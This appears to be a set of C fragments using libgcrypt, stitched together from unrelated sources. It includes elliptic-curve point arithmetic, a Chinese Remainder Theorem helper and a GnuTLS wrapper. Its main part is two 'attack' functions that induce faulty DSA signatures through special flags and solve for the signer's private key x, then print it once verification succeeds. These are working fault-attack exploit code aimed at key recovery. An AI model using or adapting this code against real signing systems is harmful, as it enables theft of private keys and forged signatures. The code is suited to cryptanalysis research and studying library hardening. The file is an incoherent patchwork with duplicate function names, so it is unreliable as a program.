void jacobian_double(struct jacobian_point *p, const struct domain_params *dp) { if (gcry_mpi_cmp_ui(p->z, 0)) { if (gcry_mpi_cmp_ui(p->y, 0)) { gcry_mpi_t t1, t2; t1 = gcry_mpi_snew(0); t2 = gcry_mpi_snew(0); gcry_mpi_mulm(t1, p->x, p->x, dp->m); gcry_mpi_addm(t2, t1, t1, dp->m); gcry_mpi_addm(t2, t2, t1, dp->m); gcry_mpi_mulm(t1, p->z, p->z, dp->m); gcry_mpi_mulm(t1, t1, t1, dp->m); gcry_mpi_mulm(t1, t1, dp->a, dp->m); gcry_mpi_addm(t1, t1, t2, dp->m); gcry_mpi_mulm(p->z, p->z, p->y, dp->m); gcry_mpi_addm(p->z, p->z, p->z, dp->m); gcry_mpi_mulm(p->y, p->y, p->y, dp->m); gcry_mpi_addm(p->y, p->y, p->y, dp->m); gcry_mpi_mulm(t2, p->x, p->y, dp->m); gcry_mpi_addm(t2, t2, t2, dp->m); gcry_mpi_mulm(p->x, t1, t1, dp->m); gcry_mpi_subm(p->x, p->x, t2, dp->m); gcry_mpi_subm(p->x, p->x, t2, dp->m); gcry_mpi_subm(t2, t2, p->x, dp->m); gcry_mpi_mulm(t1, t1, t2, dp->m); gcry_mpi_mulm(t2, p->y, p->y, dp->m); gcry_mpi_addm(t2, t2, t2, dp->m); gcry_mpi_subm(p->y, t1, t2, dp->m); gcry_mpi_release(t1); gcry_mpi_release(t2); } else gcry_mpi_set_ui(p->z, 0); } }
void point_add(struct affine_point *p1, const struct affine_point *p2, const struct domain_params *dp) { if (! point_is_zero(p2)) { if (! point_is_zero(p1)) { if (! gcry_mpi_cmp(p1->x, p2->x)) { if (! gcry_mpi_cmp(p1->y, p2->y)) point_double(p1, dp); else point_load_zero(p1); } else { gcry_mpi_t t; t = gcry_mpi_snew(0); gcry_mpi_subm(t, p1->y, p2->y, dp->m); gcry_mpi_subm(p1->y, p1->x, p2->x, dp->m); gcry_mpi_invm(p1->y, p1->y, dp->m); gcry_mpi_mulm(p1->y, t, p1->y, dp->m); gcry_mpi_mulm(t, p1->y, p1->y, dp->m); gcry_mpi_addm(p1->x, p1->x, p2->x, dp->m); gcry_mpi_subm(p1->x, t, p1->x, dp->m); gcry_mpi_subm(t, p2->x, p1->x, dp->m); gcry_mpi_mulm(p1->y, p1->y, t, dp->m); gcry_mpi_subm(p1->y, p1->y, p2->y, dp->m); gcry_mpi_release(t); } } else point_set(p1, p2); } }
/* Compose $(xp,xq) \in Z_p \times Z_q$ into $x \in Z_n$ using Chinese Remainder Theorem */ static void CRT_compose(gcry_mpi_t *x, const gcry_mpi_t xp, const gcry_mpi_t xq, const gcry_mpi_t p, const gcry_mpi_t q) { gcry_mpi_t a, u; a = gcry_mpi_new(0); u = gcry_mpi_new(0); *x = gcry_mpi_new(0); gcry_mpi_subm(a, xq, xp, q); gcry_mpi_invm(u, p, q); gcry_mpi_mulm(a, a, u, q); /* a = (xq - xp) / p (mod q) */ gcry_mpi_mul(*x, p, a); gcry_mpi_add(*x, *x, xp); /* x = p * ((xq - xp) / p mod q) + xp */ gcry_mpi_release(a); gcry_mpi_release(u); }
static bigint_t wrap_gcry_mpi_subm (bigint_t w, const bigint_t a, const bigint_t b, const bigint_t m) { if (w == NULL) w = _gnutls_mpi_alloc_like (m); if (w == NULL) return NULL; gcry_mpi_subm (w, a, b, m); return w; }
void jacobian_affine_point_add(struct jacobian_point *p1, const struct affine_point *p2, const struct domain_params *dp) { if (! point_is_zero(p2)) { if (gcry_mpi_cmp_ui(p1->z, 0)) { gcry_mpi_t t1, t2, t3; t1 = gcry_mpi_snew(0); t2 = gcry_mpi_snew(0); gcry_mpi_mulm(t1, p1->z, p1->z, dp->m); gcry_mpi_mulm(t2, t1, p2->x, dp->m); gcry_mpi_mulm(t1, t1, p1->z, dp->m); gcry_mpi_mulm(t1, t1, p2->y, dp->m); if (! gcry_mpi_cmp(p1->x, t2)) { if (! gcry_mpi_cmp(p1->y, t1)) jacobian_double(p1, dp); else jacobian_load_zero(p1); } else { t3 = gcry_mpi_snew(0); gcry_mpi_subm(p1->x, p1->x, t2, dp->m); gcry_mpi_subm(p1->y, p1->y, t1, dp->m); gcry_mpi_mulm(p1->z, p1->z, p1->x, dp->m); gcry_mpi_mulm(t3, p1->x, p1->x, dp->m); gcry_mpi_mulm(t2, t2, t3, dp->m); gcry_mpi_mulm(t3, t3, p1->x, dp->m); gcry_mpi_mulm(t1, t1, t3, dp->m); gcry_mpi_mulm(p1->x, p1->y, p1->y, dp->m); gcry_mpi_subm(p1->x, p1->x, t3, dp->m); gcry_mpi_subm(p1->x, p1->x, t2, dp->m); gcry_mpi_subm(p1->x, p1->x, t2, dp->m); gcry_mpi_subm(t2, t2, p1->x, dp->m); gcry_mpi_mulm(p1->y, p1->y, t2, dp->m); gcry_mpi_subm(p1->y, p1->y, t1, dp->m); gcry_mpi_release(t3); } gcry_mpi_release(t1); gcry_mpi_release(t2); } else jacobian_load_affine(p1, p2); } }
void attack(int i, unsigned char *digest, int hash_len){ void* dsa_buf; gcry_sexp_t new_dsa_key_pair; gcry_sexp_t ciphertext , plaintext, ptx2, ctx2; gcry_sexp_t r_param, r_tilda_param; gcry_sexp_t s_param, s_tilda_param; gcry_sexp_t g_param; gcry_sexp_t p_param; gcry_sexp_t q_param; gcry_sexp_t m_param; gcry_sexp_t y_param; gcry_sexp_t x_param; gcry_sexp_t misc_param; gcry_error_t err; gcry_mpi_t msg_digest, m; gcry_mpi_t r , r_tilda; gcry_mpi_t s , s_tilda; gcry_mpi_t g; gcry_mpi_t p; gcry_mpi_t q; gcry_mpi_t y; gcry_mpi_t x; retrieve_key_pair(files[i]); //*************** CORRECT SIGNATURE ********************// //20 is the mdlen of sha1 as specified in https://lists.gnupg.org/pipermail/gnupg-devel/2013-September/027916.html //a well formatted number for the immaediate has an even number of digits err = gcry_sexp_build(&plaintext, NULL, "(data (flags rfc6979) (hash %s %b))" , "sha1", hash_len , digest); err = gcry_pk_sign(&ciphertext, plaintext, dsa_key_pair); //now let's convert the s-expression representing r into an MPI in order //to use it in the equation of the attack //--------- CIPHERTEXT -------------- //intercepted during some sniffing... r_param = gcry_sexp_find_token(ciphertext, "r", 0); r = gcry_sexp_nth_mpi ( r_param , 1, GCRYMPI_FMT_USG); s_param = gcry_sexp_find_token(ciphertext, "s", 0); s = gcry_sexp_nth_mpi ( s_param , 1, GCRYMPI_FMT_USG); //--------- PUB KEY -------------- g_param = gcry_sexp_find_token(dsa_key_pair, "g", 0); g = gcry_sexp_nth_mpi ( g_param , 1, GCRYMPI_FMT_USG); p_param = gcry_sexp_find_token(dsa_key_pair, "p", 0); p = gcry_sexp_nth_mpi ( p_param , 1, GCRYMPI_FMT_USG); q_param = gcry_sexp_find_token(dsa_key_pair, "q", 0); q = gcry_sexp_nth_mpi ( q_param , 1, GCRYMPI_FMT_USG); y_param = gcry_sexp_find_token(dsa_key_pair, "y", 0); y = gcry_sexp_nth_mpi ( y_param , 1, GCRYMPI_FMT_USG); x_param = gcry_sexp_find_token(dsa_key_pair, "x", 0); x = gcry_sexp_nth_mpi ( x_param , 1, GCRYMPI_FMT_USG); misc_param = gcry_sexp_find_token(dsa_key_pair, "misc-key-info", 0); //*************** FAULTY SIGNATURE ********************// err = gcry_sexp_build(&ptx2, NULL, "(data (flags rfc6979) (hash %s %b) (attack2_byte))" , "sha1", hash_len , digest); err = gcry_pk_sign(&ctx2, ptx2, dsa_key_pair); s_tilda_param = gcry_sexp_find_token(ctx2, "s", 0); s_tilda = gcry_sexp_nth_mpi ( s_tilda_param , 1, GCRYMPI_FMT_USG); r_tilda_param = gcry_sexp_find_token(ctx2, "r", 0); r_tilda = gcry_sexp_nth_mpi ( r_tilda_param , 1, GCRYMPI_FMT_USG); m_param = gcry_sexp_find_token(ptx2, "hash", 0); m = gcry_sexp_nth_mpi ( m_param , 2, GCRYMPI_FMT_USG); //NOW LET'S START THE ATTACK unsigned long e = 0; unsigned int qbits = mpi_get_nbits(q); unsigned int pbits = mpi_get_nbits(p); int hash_len_bits = hash_len*8; gcry_mpi_t one = gcry_mpi_set_ui(NULL, 1); gcry_mpi_t tmp = gcry_mpi_new(qbits); gcry_mpi_t result = gcry_mpi_new(mpi_get_nbits(s)); gcry_mpi_invm(r,r,q); // r^-1 unsigned int j; for(e = 0; e < qbits ; e++){ gcry_mpi_t empi = gcry_mpi_set_ui(NULL,e); gcry_mpi_t twoi = gcry_mpi_new(e); gcry_mpi_mul_2exp(empi, one, e); // twoi = 2^e for( j=0; j< 256 ; j++){ gcry_mpi_t jmpi = gcry_mpi_set_ui(NULL,j); gcry_mpi_mulm(twoi,jmpi,empi,q); //retrieve k gcry_mpi_mulm(tmp, s_tilda, twoi, q); // s_tilda*(2^e) modq q gcry_mpi_subm(result, s_tilda, s, q); // s_tilda - s mod q gcry_mpi_invm(result, result, q); // (s_tilda - s mod q)^-1 gcry_mpi_mulm(result,result, tmp, q); // s_tilda*(2^3) mod q)*(s_tilda - s mod q)^-1 === k //retrieve x gcry_mpi_mulm(result, s, result,q); // s*k mod q gcry_mpi_subm(result, result, m, q); // s*k - m mod q gcry_mpi_mulm(result, result,r,q); //(s*k -m)*r^-1 mod q err = gcry_sexp_build(&new_dsa_key_pair,NULL, "(key-data" " (public-key" " (dsa(p%m)(q%m)(g%m)(y%m)))" " (private-key" " (dsa(p%m)(q%m)(g%m)(y%m)(x%m))))", p,q,g,y,p,q,g,y,result); err = gcry_pk_sign(&ctx2, plaintext, new_dsa_key_pair); err = gcry_pk_verify(ctx2, plaintext, dsa_key_pair); if (err) { //puts("gcrypt: verify failed"); continue; } else{ printf("\n[!!!]PRIVATE KEY %d %d BITS CRACKED!!\n" , pbits,qbits ); printf("[DBG] BYTE : %d * 2^%d FAULT: k-j*2^%d\n" , j , (int)e,(int)e); //DEBUG DEBUG_MPI_PRINT(result,"X = "); printf("\n"); return; } } } for(e = 0; e < qbits; e++){ gcry_mpi_t empi = gcry_mpi_set_ui(NULL,e); gcry_mpi_t twoi = gcry_mpi_new(e); gcry_mpi_mul_2exp(empi, one, e); // twoi = 2^e for( j=0; j< 256 ; j++){ gcry_mpi_t jmpi = gcry_mpi_set_ui(NULL,j); gcry_mpi_mulm(twoi,jmpi,empi,q); //retrieve k gcry_mpi_mulm(tmp, s_tilda, twoi, q); // s_tilda*(2^e) modq q gcry_mpi_subm(result, s, s_tilda, q); // s_tilda - s mod q gcry_mpi_invm(result, result, q); // (s_tilda - s mod q)^-1 gcry_mpi_mulm(result,result, tmp, q); // s_tilda*(2^3) mod q)*(s_tilda - s mod q)^-1 === k //retrieve x gcry_mpi_mulm(result, s, result,q); // s*k mod q gcry_mpi_subm(result, result, m, q); // s*k - m mod q gcry_mpi_mulm(result, result,r,q); //(s*k -m)*r^-1 mod q err = gcry_sexp_build(&new_dsa_key_pair,NULL, "(key-data" " (public-key" " (dsa(p%m)(q%m)(g%m)(y%m)))" " (private-key" " (dsa(p%m)(q%m)(g%m)(y%m)(x%m))))", p,q,g,y,p,q,g,y,result); err = gcry_pk_sign(&ctx2, plaintext, new_dsa_key_pair); err = gcry_pk_verify(ctx2, plaintext, dsa_key_pair); if (err) { continue; } else{ printf("\n[!!!]PRIVATE KEY %d %d BITS CRACKED!!\n" , pbits,qbits ); printf("[DBG] BYTE : %d * 2^%d FAULT: k+j*2^%d\n" , j , (int)e,(int)e); //DEBUG DEBUG_MPI_PRINT(result,"X = "); printf("\n"); return; } } } }
void attack(int i, unsigned char *digest, int hash_len){ gcry_error_t err; gcry_sexp_t ciphertext , plaintext, ptx2, new_dsa_key_pair; gcry_sexp_t r_param, r_tilda_param, k_tilda_param, msg_digest_param; gcry_sexp_t s_param, s_tilda_param; gcry_sexp_t g_param; gcry_sexp_t p_param; gcry_sexp_t q_param; gcry_sexp_t x_param, y_param; gcry_mpi_t r , r_tilda, k_tilda, x, y; gcry_mpi_t s , s_tilda; gcry_mpi_t g; gcry_mpi_t p; gcry_mpi_t q; gcry_mpi_t msg_digest; retrieve_key_pair(files[i]); //*************** CORRECT SIGNATURE ********************// //20 is the mdlen of sha1 as specified in https://lists.gnupg.org/pipermail/gnupg-devel/2013-September/027916.html //a well formatted number for the immaediate has an even number of digits err = gcry_sexp_build(&plaintext, NULL, "(data (flags rfc6979) (hash %s %b))" , "sha1", hash_len , digest); err = gcry_pk_sign(&ciphertext, plaintext, dsa_key_pair); //now let's convert the s-expression representing r into an MPI in order //to use it in the equation of the attack //--------- CIPHERTEXT -------------- r_param = gcry_sexp_find_token(ciphertext, "r", 0); r = gcry_sexp_nth_mpi ( r_param , 1, GCRYMPI_FMT_USG); s_param = gcry_sexp_find_token(ciphertext, "s", 0); s = gcry_sexp_nth_mpi ( s_param , 1, GCRYMPI_FMT_USG); //--------- PUB KEY -------------- g_param = gcry_sexp_find_token(dsa_key_pair, "g", 0); g = gcry_sexp_nth_mpi ( g_param , 1, GCRYMPI_FMT_USG); p_param = gcry_sexp_find_token(dsa_key_pair, "p", 0); p = gcry_sexp_nth_mpi ( p_param , 1, GCRYMPI_FMT_USG); q_param = gcry_sexp_find_token(dsa_key_pair, "q", 0); q = gcry_sexp_nth_mpi ( q_param , 1, GCRYMPI_FMT_USG); x_param = gcry_sexp_find_token(dsa_key_pair, "x", 0); x = gcry_sexp_nth_mpi ( x_param , 1, GCRYMPI_FMT_USG); y_param = gcry_sexp_find_token(dsa_key_pair, "y", 0); y = gcry_sexp_nth_mpi ( y_param , 1, GCRYMPI_FMT_USG); unsigned int qbits = mpi_get_nbits(q); unsigned int pbits = mpi_get_nbits(p); msg_digest_param = gcry_sexp_find_token(plaintext, "hash", 0); msg_digest = gcry_sexp_nth_mpi ( msg_digest_param , 2, GCRYMPI_FMT_USG); //*************** FAULTY SIGNATURE ********************// err = gcry_sexp_build(&ptx2, NULL, "(data (flags rfc6979) (hash %s %b) (attack))" , "sha1", hash_len , digest); err = gcry_pk_sign(&ciphertext, ptx2, dsa_key_pair); s_tilda_param = gcry_sexp_find_token(ciphertext, "s", 0); s_tilda = gcry_sexp_nth_mpi ( s_tilda_param , 1, GCRYMPI_FMT_USG); r_tilda_param = gcry_sexp_find_token(ciphertext, "r", 0); r_tilda = gcry_sexp_nth_mpi ( r_tilda_param , 1, GCRYMPI_FMT_USG); k_tilda_param = gcry_sexp_find_token(ciphertext, "k", 0); k_tilda = gcry_sexp_nth_mpi ( k_tilda_param , 1, GCRYMPI_FMT_USG); //POC // 1 - choose a message // 2 - do the correct sign and obtain s and r // 3 - do the faulty sign and obtain s_tilda and r_tilda gcry_mpi_t tmp = gcry_mpi_new(mpi_get_nbits(p)); gcry_mpi_t result = gcry_mpi_new(mpi_get_nbits(p)); gcry_mpi_subm(tmp, s_tilda, s,q); //s-tilda -s mod q gcry_mpi_mulm(msg_digest, msg_digest, tmp, q); //m* (s-tilda -s mod q) mod q gcry_mpi_mulm(tmp, r_tilda, s, q); //r_tilda - s mod q gcry_mpi_mulm(result, s_tilda, r, q); //s_tilda - r mod q gcry_mpi_subm(result, tmp, result, q); //(r_tilda - s mod q) - (s_tilda - r mod q) mod q gcry_mpi_invm(result,result,q); //((r_tilda - s mod q) - (s_tilda - r mod q) mod q)^-1 mod q gcry_mpi_mulm(result, msg_digest, result, q); //( (m* (s-tilda -s mod q) mod q) * ((r_tilda - s mod q) - (s_tilda - r mod q) mod q)^-1 mod q ) mod q == x (private key) err = gcry_sexp_build(&new_dsa_key_pair,NULL, "(key-data" " (public-key" " (dsa(p%m)(q%m)(g%m)(y%m)))" " (private-key" " (dsa(p%m)(q%m)(g%m)(y%m)(x%m))))", p,q,g,y,p,q,g,y,result); err = gcry_pk_sign(&ciphertext, plaintext, new_dsa_key_pair); err = gcry_pk_verify(ciphertext, plaintext, dsa_key_pair); if (err) { printf("\nSomething went wrong...\n"); exit(0); } if(!printed){ DEBUG_MPI_PRINT(result,"\nX = "); printed = 1; } }